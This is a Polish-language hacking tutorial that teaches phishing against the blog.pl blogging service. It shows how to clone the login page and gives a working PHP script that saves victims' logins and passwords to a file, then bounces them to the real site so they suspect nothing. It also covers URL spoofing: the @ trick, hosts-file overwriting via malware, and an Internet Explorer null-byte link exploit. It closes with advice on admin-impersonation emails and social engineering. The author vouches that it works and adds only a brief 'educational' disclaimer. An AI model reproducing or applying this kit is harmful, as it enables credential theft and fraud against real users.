Phishing - wprowadzenie & przykład |
PHISHING
1.Wstęp.
2.Czym jest phishing?
3.Przykład wykorzystania z pomocą php :)
4.Inne zastosowania phishingu.
5.Zakończenie
1. Wstęp.
Piszę ten text, bo nie widziałem jeszcze dokładnego opisu, jak to robić,
a sam wpadłem na pewien pomysł, który przedstawię. Uwaga, to że ja na niego
wpadłem nie oznacza, że ktoś inny na to już nie wpadł ( sposób nie jest zbyt
skomplikowany, więc raczej niemożliwe, by kogoś takiego nie było !)...Dlatego
zapewniam, że jeśli czytałeś jakikolwiek inny text na ten temat, to ja go nie
splagiatowałem....AŻ takim trollem chyba nie jestem (albo <; ? ).... Pisząc korzystam jedynie
z własnych doświadczeń , testów i pomysłów.Zainteresowanych zapraszam do lektury.
2. Phishing jest to pewna metoda wyciagania ważnych informacji od jakichś użytkowników, za pomocą
sfałszowania oryginalnej strony, z której korzystają...Jak to wygląda ?
No więc jeśli (to tylko przykład) chcemy wyciągnąć hasło od jakiegoś
użytkownika, załóżmy blog.pl ... Tworzymy idealną kopię strony pod innym
adresem, preparując odpowiednio tylko pewien skrypt i troszkę kod hmtl,
po czym nakłaniamy użytkownika do zalogowania się pod tym adresem, podania tam swojego PINu etc.
3. No i nareszcie przykład z wykorzystaniem php, gdyż wydaje mi się to jedynym prostym rozwiązaniem,
jakie jestem w stanie teraz przedstawic. Wchodzimy najpierw sobie na stronę , za którą chcemy się podszyć...
Będę się trzymał przykładu blog.pl ...Ponieważ nie możemy sobie normalnie zapisać
tej strony (przynajmniej moja przeglądarka nie chce)... Więc ją skopiowałem z tempów.
(Można też spróbować np FlashGetem, ale nie wiem , czy zadziała, mi się nie chciało
z tym gównem bawić :) Kwestia otwarta, bo każda witryna jest inaczej napisana :).
Dalej...Jak to zrobić ? Najlepiej sobie wejść do katalogu z temporary internet files
i wywalić wszystko, co tam było... żeby mieć czysto :) .Dobra, teraz wchodzimy jeszcze raz na
blog.pl (żeby pliki odpowiadające za wyświetlanie strony zostały skopiowane do temp).
Gdy cała stronka się załadowała, wskakujemy do tempów i kopiujemy wszystko do jakiegoś
folderu na kompie. OK.... jak jednak widzimy, tak zapisana strona nie wyświetla się
poprawnie, bo zmieniły się niektóre ścieżki (np do obrazków)... Nie będę pisał, jak
wygląda edycja htmla ... :> Więc w każdym bądź razie musimy doprowadzić wygląd naszej kopii do takiego stanu, by wyglądała identycznie (bądż podobnie, generalnie wiarygodnie). Najlepiej, żeby
ketyńskie reklamy , które się wyświetlają przy wejściu, też pozostały (można zawsze zrobić swoje [;).
Dobra, mamy kopię i co dalej ?
Ano zainteresujmy się elementem kodu htmla odpowiedzialnym za formularz logujący....
Standardowo wygląda on mniej więcej tak:
--------------------------
<form action="logujsie.php" method="post"><br>Login :<input type="text" name="podany_login">
<br>Hasło :<input type="password" name="podane_haslo"><br><input type="Submit" value="OK"></form>
-------------------------
Bo jeśli nie znasz htmla nawet na tym poziomie, to daruj sobie
czytanie tego tekstu...tylko ściągnij kurs Wimmera czy jakiś tam inny...
Dobra, co tam mamy ? No banał, formularz, który wysyła dane do skryptu "logujsie.php"...
Ma dwa pola, na hasło i na login, mają one nazwy...to jest tu ważne...name="podane_haslo"...
PHP odbiera dane z inputów formularzy POST jako indeksy globalnej tablicy $_POST (analogicznie z GET ).
Mamy wiec zmienne $_POST['podane_haslo'] oraz $_POST['podany_login'] . Co więc robimy ? A no w przypdaku blog.pl ten
kod wygląda bardzo podobnie...tylko że jest jeszcze kilka parametrów, które odpowiadają
za zgodność z arkuszem css itd, nie są teraz ważne, więc je zostawiamy bez zmian, żeby
wygląd strony był identyczny. No więc...przerabiamy tylko i wyłącznie w znaczniku <form>
parametr "action=" tak, aby prowadził do naszego małego skryptu w php....dla kodu z blog.pl
będzie to wyglądało tak:
------------------------------------------------
<FORM action="check.php" method="post" style="margin-top: 2px">
blogin: <INPUT size="10"
name="blogin" class="topforms"> hasło: <INPUT type="password" size="10" name="haslo"
class="topforms"> <INPUT type="submit" value="bloguj się" name="submit" class="button"></FORM>
------------------------------------------------
Chyba widać, że zamiast ścieżki do pliku index.php na blog.pl z parametrami, jest
po prostu podana nazwa pliku php , w tym przykładzie "check.php". A tak może wyglądać
nasz plik :
---------------------------------------
Kod:
<?php
error_reporting(0);
if (!array_key_exists('blogin',$_POST)) { echo('Nie podałeś loginu !'); }
elseif(!array_key_exists('haslo',$_POST)) { echo('Nie podałeś hasła !'); }
else
{
$file=fopen("naszpass.htm",'w'); flock($file,3);
fwrite($file,$_POST['blogin']); fwrite($file,"<br>");
fwrite($file,$_POST['haslo']); flock($file,1); fclose($file);
echo('<center>Błąd na stronie !<br>Proszę kliknąć w link poniżej i spróbować jeszcze raz !<br>
<a href=http://blog.pl target=_self>http://www.blog.pl</a> '); }; ?>
----------------------------------------
W efekcie w pliku naszpass.htm mamy zapisany podany przez ofiarę login i hasło .....
Oczywiście to jest bardzo prosty i nierozbudowany skrypt, służy tylko do pokazania,
o co w tym chodzi... Można go rozbudować,dodać jakiś skrypt w javie itd, zależy to
tylko od twojej pomysłowości i znajomości języków skryptowych :) Na końcu jest komunikat
o błędzie na stronie i link do prawdziwej strony.. żeby ofiara przeszła na prawdziwą stronę
i się już normalnie zalogowała , by nie nabrać za wielu podejrzeń....
W znaczniku <a> jako parametr "target" jest podane "_self" , żeby już prawdziwa strona
blog.pl otworzyła się w tym samym oknie przeglądarki.
No dobra, to już żeśmy pokazali, jak wykonać pułapkę...ale to nie koniec...trzeba jeszcze
jakoś sprawić, by ofiara weszła na naszą pułapkę i myślała, że jest na prawdziwej stronie..
Nie jest to łatwe zadanie..... Można zamaskować adres url na kilka sposobów :
(tak zwany URL-spoofing :)
3.1
-http://nibyjakisadres@prawdziwyadres.pl -ale to nie jest dobry sposób...sami widzicie,
czyli podanie prawdziwego adresu po @ ... To, co będzie przed @ zostanie zignorowane przez
przeglądarkę....ale widać i tak..więc chujowy sposób..
3.2 Nadanie naszej pułapce jakiejś domeny, np [ www ] czy coś..(chyba wiecie, jak
to zrobić, nie ? NIe będę o tym pisał, bo to bez sensu)....Metoda lepsza, ale też amatorska.
3.3 Podanie adresu w postaci hexadecymalnej.... kolejny zły sposób, gdyż taki adres wygląda
dziwnie i po wczytaniu strony i tak w pasku adresu widzimy prawdziwy....nie najlepiej...
3.4 Nadpisanie plików hosts ( zarówno w systemie windows jak i w linuksie istnieją pliki hosts, w których
zapisane są adresy IP przyporządkowane do konkretnych domen, dzięki czemu przeglądarka
szybciej uzyskuje dostęp do dokumentów, gdyż pomijana jest procedura pobierania adresu z serwera DNS.
W plikach tych można umieścić sobie często używane i niezmienne adresy. Oczywiście można wykorzystać
to w niecny sposób, tj jeśli za pośrednictwem złośliwego skryptu/programu uda nam się nadpisać czyjś plik hosts w taki sposób :
blog.pl xxx.xxx.xxx.xxx // gdzie xxx.xxx.xxx.xxx jest adresem IP np naszego własnego serwera http //
, to każde wywołanie tej strony będzie przekierowane na inny serwer. Dalej chyba jasne.
(w sieci można znaleźć więcej informacji o plikach hosts ).
3.5 WYkorzystanie błędów przeglądarki w celu zamaskowania adresu...
Podam fajny przykład (na pewno wielu
osobom znany) dla M$ Internet Explorera.... czyli nasze kochane IE w Windzie :)
Jak wiemy, produkty Mikroszkopa mają tyle dziur, ile wody w Odrze upłynie zanim dorosnę i/lub zmądrzeję. Jest pewien
fajny błąd, jaki wykryła firma Secunia. Oczywiście dawno Microsoft wypuścił już łatę
na tę dziurę (w chwili, gdy to piszę, bug ma już z pół roku...)..ale jak wiemy, nie
wszyscy instalują takie poprawki.... Aby taki bug wykorzystać, należy napisać w htmlu
odpowiednie hiperłącze...(link)..o takiej postaci :
----------------------------------------------------
<a href="http://blog.pl%00@http://adres.twojej.pułapki/" >http://www.blog.pl</a>
----------------------------------------------------
Jeśli użytkownik używający IE, który nie zainstalował tego patcha(a jest ich masa, więc
prawdopodobieństwo duże :), kliknie w taki link, to w pasku adresu będzie miał napisane
tylko [ www ] ,a naprawdę będzie na stronie, która jest kopią blog.pl i pułapką :)
Oczywiście błędów w przeglądarkach jest więcej, ciągle wykrywane są nowe, także w celu zabezpieczenia się / przeprowadzania testów 'na czasie' w celach edukacyjnych etc należy zasięgnąć informacji o ostatnio wykrytych bugach w tymże oprogramowaniu.
Pozostaje nam jeszcze jedna rzecz... jak zrobić, by ktoś w to kliknął i się zalogował ?
To już pozostawiam wam... Można wysyłać maile , podszywając się pod admina, z prośbą o
zalogowanie się po kliknięciu w link poniżej (e-mail w htmlu oufcorse)..Można bawić się
socjotechniką ( tutaj są duże możliwości, nie mam na myśli tylko śmiesznego udawania, że jest się kimś tam,
ale również odpowiednie prowokacje psychologiczne).
4.Inne zastosowania phishingu.
Oczywiście w ten sposób działa cała masa złodziei i oczustów internetowych, często
np podszywając się pod sklepy internetowe i inne takie tam, aby wyciągnąć numery kart
kredytowych, numery seryjne, dane osobowe itd. Jeśli was ten temat głębiej interesuje, zapraszam na
[ www ] .
5. Zakończenie...
Napisałem to tylko w celach edukacyjnych, przypominam też o fakcie, iż kopiowanie
innych stron jak i włamywanie się na czyjeś konta jest przestępstwem.
Pisząc ten text i testując skrypt oraz działanie "pułapki" nie opublikowałem na
żadnym serwerze kopii servisu blog.pl ani żadnego innego, nie pozyskałem też niczyich
danych (typu hasło etc) bez jego zgody :) . Pisząc skrypt i robiąc pułapkę wszystko
testowałem sam i ręczę, że działa.
Oczywiście jeśli ktoś chce rozwijać ten temat, niech pisze...bo przecież ja tylko
przybliżyłem może nieco zagadnienie. Text można zamieszczać gdzie się chce, choć w sumie teraz to już nie wiem, po co. To tyle ja :)
Początek formularza
Dół formularza